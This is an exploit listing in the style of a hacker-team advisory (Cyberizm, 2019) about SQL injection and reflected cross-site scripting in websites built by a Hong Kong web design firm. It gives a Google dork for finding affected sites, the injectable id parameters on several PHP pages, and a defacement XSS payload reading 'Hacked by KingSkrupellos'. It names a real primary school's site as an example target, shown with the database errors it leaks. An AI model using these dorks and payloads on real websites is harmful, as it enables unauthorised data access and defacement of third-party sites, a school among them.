################################################################### # Exploit Title : EastTechnology Hong Kong 此網站由東科技設計 XSS SQL Injection # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 09/05/2019 # Vendor Homepage : easttech.com.hk # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : 此網站由東科技設計 Precious Blood Primary School Hong Kong # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] CWE-79 [ Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ################################################################### # Impact : *********** EastTechnology Hong Kong is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool. Reflected XSS (or Non-Persistent) : *************************************** The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser. ################################################################### # Vulnerable Parameter : ********************* ?id= # SQL Injection Exploit : ********************** /tc/news_details.php?id=[SQL Injection] /tc/school.php?id=[SQL Injection] /tc/campus_album.php?id=[SQL Injection] # XSS Cross Site Scripting Exploit : ******************************** /tc/news_details.php?id=1%27<marquee><font%20color= lime%20size=32>Hacked%20by%20KingSkrupellos</font></marquee> ################################################################### # Example Vulnerable Sites : ************************* [+] preciousbloodhv.edu.hk/tc/news_details.php?id=1%27 ################################################################### # Example SQL Database Error : **************************** SQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 1' at line 1 SELECT * FROM news WHERE news_id = 1' LIMIT 1 SQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'ORDER BY news_sort_id, news_dt DESC' at line 1 SELECT DISTINCT YEAR(news_dt) AS 'year' FROM news WHERE news_nc_id = ORDER BY news_sort_id, news_dt DESC SQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'ORDER BY news_sort_id, news_dt DESC' at line 1 SELECT DISTINCT MONTH(news_dt) AS 'month' FROM news WHERE news_nc_id = ORDER BY news_sort_id, news_dt DESC SQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' AND a_ref_type='newsPhoto' ORDER BY a_sort_id' at line 1 SELECT * FROM attachment WHERE a_ref_id = 1' AND a_ref_type='newsPhoto' ORDER BY a_sort_id ################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###################################################################